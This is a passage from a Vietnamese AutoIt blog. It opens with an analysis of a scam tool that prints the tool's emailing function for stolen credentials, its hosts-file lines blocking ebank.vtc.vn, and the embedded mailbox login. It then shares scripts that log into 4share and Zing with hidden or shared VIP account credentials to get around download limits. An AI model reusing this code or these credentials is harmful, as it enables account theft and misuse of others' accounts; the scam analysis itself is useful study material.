Call("NAP")
Else
GUIDelete($gui1)
Call("NAP")
EndIf
EndFunc

Func _inetsmtpmailcom($s_smtpserver, $s_fromname, $s_fromaddress, $s_toaddress, $s_subject = "", $as_body = "", $s_attachfiles = "", $s_ccaddress = "", $s_bccaddress = "", $s_username = "", $s_password = "", $ipport = 25, $ssl = 0)
$objemail = ObjCreate("CDO.Message")
$objemail.from = ‘"’ & $s_fromname & ‘" <‘ & $s_fromaddress & ">"
$objemail.to = $s_toaddress
Local $i_error = 0
Local $i_error_desciption = ""
If $s_ccaddress <> "" Then $objemail.cc = $s_ccaddress
If $s_bccaddress <> "" Then $objemail.bcc = $s_bccaddress
$objemail.subject = $s_subject
If StringInStr($as_body, "<") AND StringInStr($as_body, ">") Then
$objemail.htmlbody = $as_body
Else
$objemail.textbody = $as_body & @CRLF
EndIf
If $s_attachfiles <> "" Then
Local $s_files2attach = StringSplit($s_attachfiles, ";")
For $x = 1 To $s_files2attach[0]
$s_files2attach[$x] = _pathfull($s_files2attach[$x])
If FileExists($s_files2attach[$x]) Then
$objemail.addattachment($s_files2attach[$x])
Else
$i_error_desciption = $i_error_desciption & @LF & "File not found to attach: " & $s_files2attach[$x]
SetError(1)
Return 0
EndIf
Next
EndIf
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_smtpserver
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $ipport
If $s_username <> "" Then
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_username
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_password
EndIf
If $ssl Then
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
EndIf
$objemail.configuration.fields.update
$objemail.send
If @error Then
SetError(2)
Return $omyret[1]
EndIf
EndFunc

Func myerrfunc()
$hexnumber = Hex($omyerror.number, 8)
$omyret[0] = $hexnumber
$omyret[1] = StringStripWS($omyerror.description, 3)
ConsoleWrite("### COM Error ! Number: " & $hexnumber & " ScriptLine: " & $omyerror.scriptline & " Description:" & $omyret[1] & @LF)
SetError(1)
Return
EndFunc
[/au3]

Lưu ý: Do lo ngại một số bạn có thể áp dụng vào mục đích xấu nên code này các bạn copy về chưa thể chạy được ngay như những code khác mình share. Các bạn cũng đừng pm mình hỏi làm sao cho nó chạy nhé 🙂

Code này làm những gì?

Thực chất code này rất đơn giản nó chỉ tạo form yêu cầu bạn điền mã thẻ, tài khoản và password sau đó:
+ Mã thẻ nó dùng thư viện IE tự động nạp thẻ vào tài khoản comejenyc tài khoản này chắc là của thằng viết ra cái trò lừa đảo này rồi.
+ Thông tin tài khoản nó sẽ gửi vào email: hotromodz@gmail.com
+ Không cho bạn truy cập vào ebank.vtc.vn để lấy lại tài khoản bằng cách ghi 3 dòng sau vào file host

FileWrite($file, @CRLF & “127.0.0.1 ebank.vtc.vn”)
FileWrite($file, @CRLF & “127.0.0.1 www.ebank.vtc.vn”)
FileWrite($file, @CRLF & “127.0.0.1 http://ebank.vtc.vn”)

Lời kết

Các bạn đọc lại code mình ko phân tích sâu vào từng lệnh. Có 2 file .bat và HuongDan.exe mình chưa phân tích.
Ở đây trong hàm gửi mail có username và password của cái mail mà tool gửi về
[au3]
$s_username = "hotkey.autoit"
$s_password = "autoit3.5 suppro"
[/au3]
Cái mail này chắc bị bọn nước ngoài nó thịt lâu rồi vì mình thấy bài viết về cái tool này trên diễn đàn

http://board.deioncube.in/showthread.php?tid=29&page=5

Thread được tạo ngày 06-06-2011
Mình share code này không hy vọng các bạn đi lừa đảo người khác vì sớm muộn gì các bạn cũng bị phát hiện và hậu quả thì tùy bạn tưởng tượng 🙂

Code tool Getlink up.4share.vn with accout VIP bằng Autoit

Chức năng Getlink up.4share.vn with accout VIP

1.Hỗ trợ Windows XP, Windows 7, Windows 8 (Đã test thành công hết nhé, nếu có lỗi gì thì anh em thông báo lại nhé )
2.Cho phép chon acc khác khi acc đang sử dụng bị hết BW để get link tiếp ( Acc 1 và Acc 2 là giới hạn 60GB/1 ngày. Acc 3 VIP Funny còn 240GB và mua thêm BW liên tục )
3.Hiện thông báo về dung lượng mà acc đã sử dụng để các bạn biết nếu nó quá 60GB thì chuyển sang acc khác.
4.Tự động copy direct link sau khi get link vào clip board ( Xóa nút copy d-link ở phiên bản cũ và thay vào đó là nút Import to IDM )
5.Thêm nút Import to IDM để gửi nhanh link tới IDM

Getlink up.4share.vn v3.0.1 with accout VIP Demo
Getlink up.4share.vn v3.0.1 with accout VIP Demo

Chú ý : VÌ phiên bản mới cho phép lựa chọn thay đổi acc và phải kiểm tra BW của acc nên tốc độ get link có thể hơi chậm nếu trình duyệt IE của bạn chạy chậm. Khi get link thì tốt nhất đừng download/upload cái gì cả để IE nó chạy nhanh nhanh tí nhé.
Tốt nhất bạn hãy cài Admuncher vào để nó chặn các quảng cáo đi giúp IE lướt web nhanh hơn.

Code tools Getlink up.4share.vn with accout VIP

Download tại đây:
Getlink up.4share.vn v3.0.1 with accout VIP
Hoặc copy code tại đây:
[au3]
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <ComboConstants.au3>
#include <String.au3>
#include <IE.au3>

#Region ### START Koda GUI section ### Form=D:\HOC TAP\AutoIT\koda_1.7.3.0\Forms\Get link 4share 3.kxf
$form1 = GUICreate("Getlink up.4share.vn with accout VIP", 780, 530, -1, -1)
GUISetBkColor(0xFE7C00)
$label1 = GUICtrlCreateLabel("", 8, 15, 753, 27, $ss_center)
GUICtrlSetFont(-1, 11, 800, 0, "Times New Roman")
$label2 = GUICtrlCreateLabel("", 8, 40, 753, 17, $ss_center)
GUICtrlSetFont(-1, 11, 800, 0, "Times New Roman")
$edit1 = GUICtrlCreateEdit("Nhập link up.4share.vn cần get vào đây, mỗi dòng một link. Chú ý không có dòng trắng.", 8, 72, 761, 175)
GUICtrlSetFont(-1, 11, 800, 0, "Times New Roman")
$edit2 = GUICtrlCreateEdit("D-link download sẽ xuất ra ở đây.", 8, 304, 761, 175)
GUICtrlSetFont(-1, 11, 800, 0, "Times New Roman")
$button1 = GUICtrlCreateButton("Get Link", 24, 256, 80, 33)
GUICtrlSetFont(-1, 10, 800, 0, "Times New Roman")
$button2 = GUICtrlCreateButton("Hướng dẫn sử dụng và download phiên bản mới", 504, 256, 264, 33)
GUICtrlSetFont(-1, 10, 800, 0, "Times New Roman")
$button3 = GUICtrlCreateButton("Import to IDM", 120, 256, 90, 33)
GUICtrlSetFont(-1, 10, 800, 0, "Times New Roman")
$combo1 = GUICtrlCreateCombo("Acc 1", 328, 264, 145, 33, BitOR($cbs_dropdown, $cbs_autohscroll))
GUICtrlSetData(-1, "Acc 1|Acc 2|Acc 3", "")
GUICtrlSetFont(-1, 10, 800, 0, "Times New Roman")
$label3 = GUICtrlCreateLabel("Chọnn account", 220, 264, 108, 25)
GUICtrlSetFont(-1, 11, 800, 0, "Times New Roman")
$label4 = GUICtrlCreateLabel("", 8, 500, 756, 17, $ss_center)
GUICtrlSetFont(-1, 11, 800, 0, "Times New Roman")
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
WinSetTitle("", "", "Getlink up.4share.vn v3.0.1 with accout VIP – Release Date : September 13, 2012")
ProcessClose("iexplore.exe")
Sleep(100)
ProcessClose("iexplore.exe")
$acc = BinaryToString(InetRead("http://dl.dropbox.com/u/102993103/Error403.html", 1), 4)
Global $status = _stringbetween($acc, "<3>", "</3>")
Global $status2 = _stringbetween($acc, "<4>", "</4>")
Global $urlhelp = _stringbetween($acc, "<5>", "</5>")
GUICtrlSetData($label1, $status[0])
GUICtrlSetData($label2, $status2[0])
Global $status3 = _stringbetween($acc, "<8>", "</8>")
GUICtrlSetData($label4, $status3[0])
While 1
$nmsg = GUIGetMsg()
Switch $nmsg
Case $gui_event_close
Exit
Case $button1
ProcessClose("iexplore.exe")
Sleep(100)
ProcessClose("iexplore.exe")
GUICtrlSetData($edit2, "D-link download sẽ xuất ra ở đây")
_getlink()
Case $button2
_iecreate($urlhelp[0], 1, 1, 0)
Case $button3
ClipPut(GUICtrlRead($edit2))
Global $pathidm = RegRead("HKEY_CURRENT_USER\Software\DownloadManager", "ExePath")
Run($pathidm)
WinActivate("Internet Download Manager")
WinWaitActive("Internet Download Manager")
Send("{ALTDOWN}tc{ALTUP}")
WinActivate("Batch download from clipboard.")
WinWaitActive("Batch download from clipboard.")
ControlClick("Batch download from clipboard.", "", "Check All")
ControlClick("Batch download from clipboard.", "", "OK")
MsgBox(0, "Thông báo", "Bạn hãy cho IDM download về là xong")
EndSwitch
WEnd

Func _getlink()
Select
Case (GUICtrlRead($combo1)) = "Acc 1"
$acc = BinaryToString(InetRead("http://dl.dropbox.com/u/102993103/Error403.html", 1), 4)
Global $user_mahoa = _stringbetween($acc, "<b>", "</b>")
$user = _hextostring(_stringreverse($user_mahoa[0]))
Global $pass_mahoa = _stringbetween($acc, "</b><b>", "</b></br>")
$pass = _hextostring(_stringreverse($pass_mahoa[0]))
Case (GUICtrlRead($combo1)) = "Acc 2"
$acc = BinaryToString(InetRead("http://dl.dropbox.com/u/102993103/Error403.html", 1), 4)
Global $user_mahoa = _stringbetween($acc, "<1>", "</1>")
$user = _hextostring(_stringreverse($user_mahoa[0]))
Global $pass_mahoa = _stringbetween($acc, "<2>", "</2>")
$pass = _hextostring(_stringreverse($pass_mahoa[0]))
Case (GUICtrlRead($combo1)) = "Acc 3"
$acc = BinaryToString(InetRead("http://dl.dropbox.com/u/102993103/Error403.html", 1), 4)
Global $user_mahoa = _stringbetween($acc, "<6>", "</6>")
$user = _hextostring(_stringreverse($user_mahoa[0]))
Global $pass_mahoa = _stringbetween($acc, "<7>", "</7>")
$pass = _hextostring(_stringreverse($pass_mahoa[0]))
Case Else
MsgBox(0, "", "Bạn chỉ được chọn từ Acc 1 đến Acc 3.")
EndSelect
GUICtrlSetData($label1, "Đang kết nối tài acc VIP. Quá trình này hơi lâu, vui lòng chờ kết nối")
GUICtrlSetData($label2, "Nếu acc VIP bị hết BW thì sẽ không get được link, bấm sau bạn get link tiếp nhé")
$username = $user
$password = $pass
$oie = ObjCreate("InternetExplorer.Application")
$oie.visible = False
$oie.navigate("http://up.4share.vn/?control=login")
_ieloadwait($oie)
$oie.document.getelementbyid("inputUserName").value = $username
$oie.document.getelementbyid("inputPassword").value = $password
$oform = _ieformgetcollection($oie, 0)
_ieformsubmit($oform, 0)
_ieloadwait($oie)
GUICtrlSetData($label1, "Đang kiểm tra dung lượng download của accout")
$oie.navigate("http://up.4share.vn/?control=login")
_ieloadwait($oie)
$laybw = _iedocreadhtml($oie)
$bw = _stringbetween($laybw, " : <strong>", "</strong>")
$loaiacc = _stringbetween($laybw, "(<strong>", "</strong>)")
GUICtrlSetData($label2, "Acc " & $loaiacc[0] & " này đã sử dụng hết " & $bw[0] & " Nếu bị lỗi là do acc đã hết BW nên các bạn hãy get link vào hôm sau nhé")
Global $linkbd = (GUICtrlRead($edit1))
_filecreate(@TempDir & "\DLink.txt")
Sleep(200)
_filecreate(@TempDir & "\Link.txt")
Global $file = FileOpen(@TempDir & "\Link.txt", 0)
Global $file2 = FileOpen(@TempDir & "\DLink.txt", 1)
FileWrite(@TempDir & "\Link.txt", $linkbd & @CRLF)
If $file = -1 Then
MsgBox(0, "Error", "Lỗi không thể đọc được dữ liệu, hãy khởi động lại tool")
Exit
EndIf
Global $file = FileOpen(@TempDir & "\Link.txt", 128)
While 1
Local $line = FileReadLine($file)
If @error = -1 Then ExitLoop
$oie.navigate($line)
GUICtrlSetData($label1, "Get link " & $line)
_ieloadwait($oie)
Local $str = _iedocreadhtml($oie)
Global $link = _stringbetween($str, "http://sv", ‘"’)
$linkdl = StringRegExpReplace("http://sv" & $link[0], "&amp;", "&")
FileWrite(@TempDir & "\DLink.txt", $linkdl & @CRLF)
Global $xuatdlink = FileRead(@TempDir & "\DLink.txt")
GUICtrlSetData($edit2, $xuatdlink)
WEnd
_filecreate(@DesktopDir & "Direct Link up.4share.vn.txt")
FileWrite(@DesktopDir & "\Direct Link up.4share.vn.txt", $xuatdlink)
FileClose($file)
FileClose($file2)
$oie.quit
GUICtrlSetData($label1, "ĐÃ HOÀN THÀNH QUÁ TRÌNH LẤY DIRECT LINK.")
ClipPut(GUICtrlRead($edit2))
MsgBox(0, "THÔNG BÁO", "ĐÃ LẤY XONG DIRECT LINK." & @CRLF & "DIRECT LINK ĐỤOC LƯU TRONG FILE Direct Link up.4share.vn.txt ở DESKTOP." & @CRLF & "DIRECT LINK ĐÃ ĐƯỢC COPY VÀO CLIPBOARD.")
EndFunc
[/au3]

Lưu ý

Trong file đính kèm mình đã thêm 3 file ACC 1, 2, 3 tương ứng với 3 file tải về từ Dropbox trong đó có thông tin các acc 4 share. Thông tin tác giả và chi tiết các bạn xem trong script. Mình được share trên mạng nên mình share lại để các bạn học hỏi. Chúc các bạn thành công

Code tool Get Link mp3.zing.vn hàng loạt bằng AutoIT

Code tool get link mp3.zing.vn có thể lấy theo album, nghệ sĩ, link video, link tổng hợp

Cái này mình sưu tầm trên mạng thôi hy vọng là anh em xem để học hỏi. Download code tại đây: Getlink mp3.zing.vn v4.1

Nếu không down được các bạn copy code ở đây:
[au3]
#include <GUIConstantsEx.au3>
#include <ComboConstants.au3>
#include <StaticConstants.au3>
#include <GuiListView.au3>
#include <File.au3>
#include <String.au3>
#include <IE.au3>

#Region ### START Koda GUI section ### Form=D:\HOC TAP\AutoIT\koda_1.7.3.0\Forms\Zing VIP 320Kbps.kxf
$form1 = GUICreate("Get Link mp3.zing.vn v4.0 : Lấy Direct Link Download Từ Nhiều Link Video Clip – Album Nhạc ( 320Kbps hoặc 128Kbps ) Release Date : September 20, 2012", 1052, 690, -1, -1)
GUISetFont(10, 800, 0, "Times New Roman")
GUISetBkColor(0xf58a0c)
$group1 = GUICtrlCreateGroup(" Nhập link mp3.zing.vn cần download ", 16, 16, 657, 257)
$edit1 = GUICtrlCreateEdit("", 24, 32, 570, 185)
GUICtrlSetState($edit1, $GUI_DISABLE)
GUICtrlSetFont(-1, 12, 800, 0, "Times New Roman")
$edit2 = GUICtrlCreateEdit("", 24, 221, 441, 50)
GUICtrlSetData(-1, "http://mp3.zing.vn/")
GUICtrlSetState($edit2, $GUI_DISABLE)
$button1 = GUICtrlCreateButton("Paste", 600, 40, 65, 33)
GUICtrlSetState($button1, $GUI_DISABLE)
$button2 = GUICtrlCreateButton("Lọc", 600, 88, 65, 33)
GUICtrlSetState($button2, $GUI_DISABLE)
$button3 = GUICtrlCreateButton("Copy", 600, 136, 65, 33)
GUICtrlSetState($button3, $GUI_DISABLE)
$button4 = GUICtrlCreateButton("Clear", 600, 184, 65, 33)
GUICtrlSetState($button4, $GUI_DISABLE)
$button9 = GUICtrlCreateButton("Collection", 600, 232, 65, 33)
GUICtrlSetState($button9, $GUI_DISABLE)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$group2 = GUICtrlCreateGroup("", 16, 352, 1025, 329)
$listview1 = GUICtrlCreateListView("STT|Định dạng|Tên bài hát|Thể loại (Album – Video Clip – Single)|Link Download", 24, 368, 1010, 305)
GUICtrlSendMsg(-1, $lvm_setcolumnwidth, 0, 50)
GUICtrlSendMsg(-1, $lvm_setcolumnwidth, 1, 80)
GUICtrlSendMsg(-1, $lvm_setcolumnwidth, 2, 200)
GUICtrlSendMsg(-1, $lvm_setcolumnwidth, 3, 255)
GUICtrlSendMsg(-1, $lvm_setcolumnwidth, 4, 420)
GUICtrlSetBkColor(-1, 13158600)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$group3 = GUICtrlCreateGroup("", 680, 16, 361, 257)
$group4 = GUICtrlCreateGroup("Lấy link download", 688, 48, 345, 65)
$button5 = GUICtrlCreateButton("Please wait…", 698, 66, 100, 33)
GUICtrlSetState($button5, $GUI_DISABLE)
$combo2 = GUICtrlCreateCombo("320 Kbps", 808, 72, 100, 25, BitOR($CBS_DROPDOWN, $CBS_AUTOHSCROLL))
GUICtrlSetData(-1, "320 Kbps|128 Kbps", "")
$combo3 = GUICtrlCreateCombo("Lấy số thứ tự", 912, 72, 100, 25, BitOR($CBS_DROPDOWN, $CBS_AUTOHSCROLL))
GUICtrlSetData(-1, "Lấy số thứ tự|Không lấy số thứ tự", "")
$combo4 = GUICtrlCreateCombo("", 480, 238, 113, 25, BitOR($CBS_DROPDOWN, $CBS_AUTOHSCROLL))
GUICtrlSetData(-1, "Tất cả|Album|Bài hát|Clip-Video|Nghệ sĩ)", "Album")
GUICtrlCreateGroup("", -99, -99, 1, 1)
$group5 = GUICtrlCreateGroup("Help", 688, 136, 345, 65)
$button7 = GUICtrlCreateButton("Hướng dẫn sử dụng", 718, 160, 290, 33)
GUICtrlSetState($button7, $GUI_DISABLE)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$label1 = GUICtrlCreateLabel("", 16, 280, 1012, 25, $SS_CENTER)
GUICtrlSetFont(-1, 14, 800, 0, "Times New Roman")
$label2 = GUICtrlCreateLabel("", 16, 320, 1012, 25, $SS_CENTER)
GUICtrlSetFont(-1, 14, 800, 0, "Times New Roman")
$input1 = GUICtrlCreateInput("C:\Downloads", 704, 228, 233, 25)
$button8 = GUICtrlCreateButton("Save", 944, 224, 80, 33)
GUICtrlSetState($button8, $GUI_DISABLE)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
FileInstall("INTERNET\Getlink mp3.zing.vn\v4.0\Config.txt", @ScriptDir & "\ZingMp3.txt", 0)
_filecreate(@TempDir & "\zingmp3.txt")
_filecreate(@TempDir & "\zingmp3_dl.txt")
Global $folderdlve = FileOpen(@ScriptDir & "\zingmp3.txt", 0)
Global $line1 = FileReadLine($folderdlve)
$idmsave = GUICtrlSetData($input1, $line1)
Global $line2 = FileReadLine($folderdlve)
GUICtrlSetData($combo2, $line2)
Global $line3 = FileReadLine($folderdlve)
GUICtrlSetData($combo3, $line3)
Global $line4 = FileReadLine($folderdlve)
GUICtrlSetData($combo4, $line4)
Global $mode1 = 2 + 8 + 128
Global $mode2 = 1 + 4 + 256
WinSetTitle("", "", "Get Link mp3.zing.vn v4.1: Lấy Direct Link Download Từ Nhiều Link Video Clip – Album Nhạc ( 320Kbps hoặc 128Kbps ) Release Date : January 08, 2013")
Global $pathidm = RegRead("HKEY_CURRENT_USER\Software\DownloadManager", "ExePath")
$acc = BinaryToString(InetRead("http://dl.dropbox.com/u/63311588/czv4.1.html", 1), 4)
If @error Then
MsgBox(0, "Get link mp3.zing.vn – Thông báo : ", "Bạn phải kết nôi Internet để lấy cơ sở dữ liệu.")
Else
TrayTip("Get link mp3.zing.vn – Thông báo : ", "Vui lòng chờ kết nối cơ sở dữ liệu, nếu tốc độ mạng bạn chậm có thể mất khoảng 10-30s", 5)
EndIf
Global $uhide = _stringbetween($acc, "<H>", "</H>")
$uhide2 = _stringbetween($uhide[0], "533343335343433303335333533343339333433383334333", "13336333933363332343433353333333633343335333633333336333233373336343633363334333")
$zozozo = _hextostring(_hextostring(_hextostring(_stringreverse($uhide2[0]))))
Global $phide = _stringbetween($acc, "<body>", "</body>")
$phide2 = _stringbetween($phide[0], "93336333634363339333633373334333933363331333633343335333", "9333633363436333633353334333733353336333933373335333733343335333")
$zozozozo = _hextostring(_hextostring(_hextostring(_stringreverse($phide2[0]))))
Global $status = _stringbetween($acc, "<status>", "</status>")
Global $status2 = _stringbetween($acc, "<status2>", "</status2>")
Global $statusa1 = _stringbetween($acc, "<statusA1>", "</statusA1>")
Global $statusa = _stringbetween($acc, "<statusA>", "</statusA>")
Global $statusb = _stringbetween($acc, "<statusB>", "</statusB>")
Global $statusc = _stringbetween($acc, "<statusC>", "</statusC>")
Global $statusd = _stringbetween($acc, "<statusD>", "</statusD>")
Global $statuse = _stringbetween($acc, "<statusE>", "</statusE>")
Global $statusf = _stringbetween($acc, "<statusF>", "</statusF>")
Global $statusg = _stringbetween($acc, "<statusG>", "</statusG>")
GUICtrlSetData($label1, $status[0])
GUICtrlSetData($label2, $status2[0])
GUICtrlSetData($edit1, $statusa1[0] & @CRLF & $statusa[0] & @CRLF & $statusb[0] & @CRLF & $statusc[0] & @CRLF & $statusd[0] & @CRLF & $statuse[0] & @CRLF & $statusf[0] & @CRLF & $statusg[0])
Global $tbupdate = _stringbetween($acc, "<TbUpdate>", "</TbUpdate>")
Global $update = _stringbetween($acc, "<Update>", "</Update>")
Global $linkupdate = _stringbetween($acc, "<linkupdate>", "</linkupdate>")
Global $tbbutton7 = _stringbetween($acc, "<Button7>", "</Button7>")
Select
Case $update[0] = "No"
Sleep(50)
Case $update[0] = "Yes"
GUICtrlSetData($button7, $tbbutton7[0])
Run($pathidm & " /d " & $linkupdate[0])
MsgBox(0, "THÔNG BÁO", $tbupdate[0])
Case Else
Sleep(50)
MsgBox(0, "THÔNG BÁO", "Else")
EndSelect
$username = $zozozo
$password = $zozozozo
$oie = ObjCreate("InternetExplorer.Application")
$oie.visible = False
$oie.navigate("http://login.me.zing.vn/")
_ieloadwait($oie)
$oie.document.getelementbyid("u").value = $username
$oie.document.getelementbyid("pp").value = $password
$oie.document.getelementbyid("bntlogin").click
$shtml = _iedocreadhtml($oie)
$kiemtraketnoi = _stringbetween($shtml, "Cố nhân", "/")
$kn = 0
Do
If @error Then
Sleep(1000)
Else
Sleep(1000)
ExitLoop
EndIf
$kn = $kn + 1
Until $kn = 0
$oie.navigate("http://mp3.zing.vn/xml")
$shtml = _iedocreadhtml($oie)
$kiemtraketnoi = _stringbetween($shtml, "Không tìm thấy trang mà bạn yêu cầu", "/")
$kn = 0
Do
If @error Then
Sleep(1000)
Else
Sleep(1000)
ExitLoop
EndIf
$kn = $kn + 1
Until $kn = 0
GUICtrlSetState($edit1, $gui_enable)
GUICtrlSetState($edit2, $gui_enable)
GUICtrlSetState($button1, $gui_enable)
GUICtrlSetState($button2, $gui_enable)
GUICtrlSetState($button3, $gui_enable)
GUICtrlSetState($button4, $gui_enable)
GUICtrlSetData($button5, "Get Link")
GUICtrlSetState($button5, $gui_enable)
GUICtrlSetState($button7, $gui_enable)
GUICtrlSetState($button8, $gui_enable)
GUICtrlSetState($button9, $gui_enable)
$oie.navigate("about:blank")
_ieloadwait($oie)
MsgBox(0, "Get link mp3.zing.vn", "Đã sẵn sàng sử dụng", 1)
TrayTip("Get link mp3.zing.vn – Thông báo : ", "Đã sẵn sàng Get Link website mp3.zing.vn", 5)
While 1
$nmsg = GUIGetMsg()
Switch $nmsg
Case $gui_event_close
$oie.quit
Exit
Case $button1
$bak = ClipGet()
GUICtrlSetData($edit1, $bak)
_guictrllistview_deleteallitems($listview1)
GUICtrlSetData($label1, "Hãy nhấn vào nút Lọc ở dưới để tool xóa các link trắng,sau đó bạn hãy xóa dòng trắng ở cuối cùng rồi nhấn vào Get Link")
_input()
_output()
Case $button2
_input()
_output()
Case $button3
ClipPut(GUICtrlRead($edit1))
Case $button4
GUICtrlSetData($edit1, "")
_guictrllistview_deleteallitems($listview1)
Case $button5
_input()
_output()
_guictrllistview_deleteallitems($listview1)
Local $file_open_final = FileOpen(@TempDir & "\zingmp3_output_final.txt", 0)
If $file_open_final = -1 Then
MsgBox(0, "Error", "Unable to open file zingmp3_output_final.txt")
Exit
EndIf
While 1
Local $line_open_final = FileReadLine($file_open_final)
If @error = -1 Then ExitLoop
Local $kiem_tra_line_open_final = _stringbetween($line_open_final, "http://mp3.zing.vn/", "/")
If @error Then
Else
Select
Case $kiem_tra_line_open_final[0] = "video-clip"
_getlinkvideo()
Case $kiem_tra_line_open_final[0] = "nghe-si"
Select
Case GUICtrlRead($combo2) = "320 Kbps"
_nghesy()
Case GUICtrlRead($combo2) = "128 Kbps"
MsgBox(0, "Thông báo", "Không hỗ trợ get link chất lượng 128Kbps với nghệ sĩ). Nhấn Get Link nếu muốn tải với chất lượng 320Kbps của nghệ sĩ) này")
GUICtrlSetData($combo2, "320 Kbps")
EndSelect
Case $kiem_tra_line_open_final[0] = "bai-hat"
_baihat()
_sentlinksingle()
Case $kiem_tra_line_open_final[0] = "album"
_linkalbum()
_sentlink()
EndSelect
EndIf
WEnd
FileClose($file_open_final)
$oie.navigate("about:blank")
_ieloadwait($oie)
GUICtrlSetData($label1, "Kết thúc quá trình get link")
GUICtrlSetData($label2, "Link download đã được gửi tới IDM, bạn có thể download bất cứ lúc nào")
FileWrite(FileOpen(@ScriptDir & "\zingmp3.txt", $mode1), GUICtrlRead($input1) & @CRLF)
FileWrite(FileOpen(@ScriptDir & "\zingmp3.txt", $mode2), GUICtrlRead($combo2) & @CRLF & GUICtrlRead($combo3) & @CRLF & GUICtrlRead($combo4))
MsgBox(0, "The End", "Kết thúc quá trình get link. Bạn có thể tiếp tục get link mới", 5)
Case $button7
GUICtrlSetData($label1, "Bạn hãy xem chi tiết hướng dẫn sử dụng trên mạng")
GUICtrlSetData($label2, "Mọi đóng góp xin vui lòng truy cập website")
_iecreate("http://hanamonline.com", 1, 1, 0)
Case $button8
Global $var = FileSelectFolder("Bạn hãy chọn folder để lưu các file được IDM tải về.", "")
GUICtrlSetData($input1, $var)
FileWrite(FileOpen(@ScriptDir & "\zingmp3.txt", $mode1), $var & @CRLF)
FileWrite(FileOpen(@ScriptDir & "\zingmp3.txt", $mode2), GUICtrlRead($combo2) & @CRLF & GUICtrlRead($combo3) & @CRLF & GUICtrlRead($combo4))
Case $button9
_cellection()
EndSwitch
WEnd

Func _linkalbum()
$timxml = BinaryToString(InetRead($line_open_final, 1), 4)
Global $xml = _stringbetween($timxml, "xmlURL=", "&amp")
$albumdl = _stringbetween($line_open_final, "/album/", "/")
$tenfilealbum = $albumdl[0]
$tenfilealbum0 = StringRegExpReplace($tenfilealbum, ‘[/|:|?|<|>|"|\\]’, "-")
$tenfilealbum1 = StringRegExpReplace($tenfilealbum0, "-", " ")
$oie.navigate($xml[0])
GUICtrlSetData($label1, "Đang thực hiện link album : " & $tenfilealbum1)
_ieloadwait($oie)
$shtml = _iedocreadhtml($oie)
$readxml = FileOpen(@TempDir & "\zingmp3.txt", $mode1)
FileWrite($readxml, $shtml)
Local $file_zingmp3 = FileOpen(@TempDir & "\zingmp3.txt", 0)
If $file_zingmp3 = -1 Then
MsgBox(0, "Error", "Unable to open file.")
Exit
EndIf
While 1
Local $line_open_zingmp3 = FileReadLine($file_zingmp3)
If @error = -1 Then ExitLoop
Local $a = _stringbetween($line_open_zingmp3, "<title>", "</title>")
If @error Then
Local $b = _stringbetween($line_open_zingmp3, "<performer>", "</performer>")
If @error Then
Local $d = _stringbetween($line_open_zingmp3, "<source>", "</source>")
If @error Then
Local $c = _stringbetween($line_open_zingmp3, "<hq>", "</hq>")
If @error Then
Else
$linkhq = _stringbetween($c[0], ‘[CDATA[<span style="color: black;">’, "</span>")
$readxml = FileOpen(@TempDir & "\zingmp3_dl.txt", $mode2)
FileWrite($readxml, "|7|" & $linkhq[0] & "|8|" & @CRLF)
EndIf
Else
$linksd = _stringbetween($d[0], ‘[CDATA[<span style="color: black;">’, "</span>")
$readxml = FileOpen(@TempDir & "\zingmp3_dl.txt", $mode2)
FileWrite($readxml, "|5|" & $linksd[0] & "|6|")
EndIf
Else
$tencasy = _stringbetween($b[0], ‘[CDATA[<span style="color: black;">’, " </span>")
$readxml = FileOpen(@TempDir & "\zingmp3_dl.txt", $mode2)
FileWrite($readxml, "|3|" & $tencasy[0] & "|4|")
EndIf
Else
$readxml = FileOpen(@TempDir & "\zingmp3_dl.txt", $mode2)
$tenbh = _stringbetween($a[0], ‘<span style="color: black;"> ‘, " </span>")
FileWrite($readxml, "|0|" & $tenfilealbum1 & "|1|" & $tenbh[0] & "|2|")
EndIf
WEnd
FileClose($file_zingmp3)
$oie.navigate("about:blank")
_ieloadwait($oie)
EndFunc

Func _baihat()
$timxml = BinaryToString(InetRead($line_open_final, 1), 4)
Global $tenbhthuchien = _stringbetween($timxml, "<title>", "</title>")
Global $xml = _stringbetween($timxml, "xmlURL=", "&amp")
$oie.navigate($xml[0])
GUICtrlSetData($label1, "Đang thực hiện link single : " & $tenbhthuchien[0])
_ieloadwait($oie)
$shtml = _iedocreadhtml($oie)
$readxml = FileOpen(@TempDir & "\zingmp3.txt", $mode1)
FileWrite($readxml, $shtml)
Local $file_open_zingmp3_2 = FileOpen(@TempDir & "\zingmp3.txt", 0)
If $file_open_zingmp3_2 = -1 Then
MsgBox(0, "Error", "Unable to open file zingmp3.txt")
Exit
EndIf
While 1
Local $line_open_zingmp3_2 = FileReadLine($file_open_zingmp3_2)
If @error = -1 Then ExitLoop
Local $a = _stringbetween($line_open_zingmp3_2, "<title>", "</title>")
If @error Then
Sleep(2)
Local $b = _stringbetween($line_open_zingmp3_2, "<performer>", "</performer>")
If @error Then
Local $d = _stringbetween($line_open_zingmp3_2, "<source>", "</source>")
If @error Then
Local $c = _stringbetween($line_open_zingmp3_2, "<hq>", "</hq>")
If @error Then
Else
$linkhq = _stringbetween($c[0], ‘[CDATA[<span style="color: black;">’, "</span>")
$readxml = FileOpen(@TempDir & "\zingmp3_dl.txt", $mode2)
FileWrite($readxml, "|7|" & $linkhq[0] & "|8|" & @CRLF)
EndIf
Else
$linksd = _stringbetween($d[0], ‘[CDATA[<span style="color: black;">’, "</span>")
$readxml = FileOpen(@TempDir & "\zingmp3_dl.txt", $mode2)
FileWrite($readxml, "|5|" & $linksd[0] & "|6|")
EndIf
Else
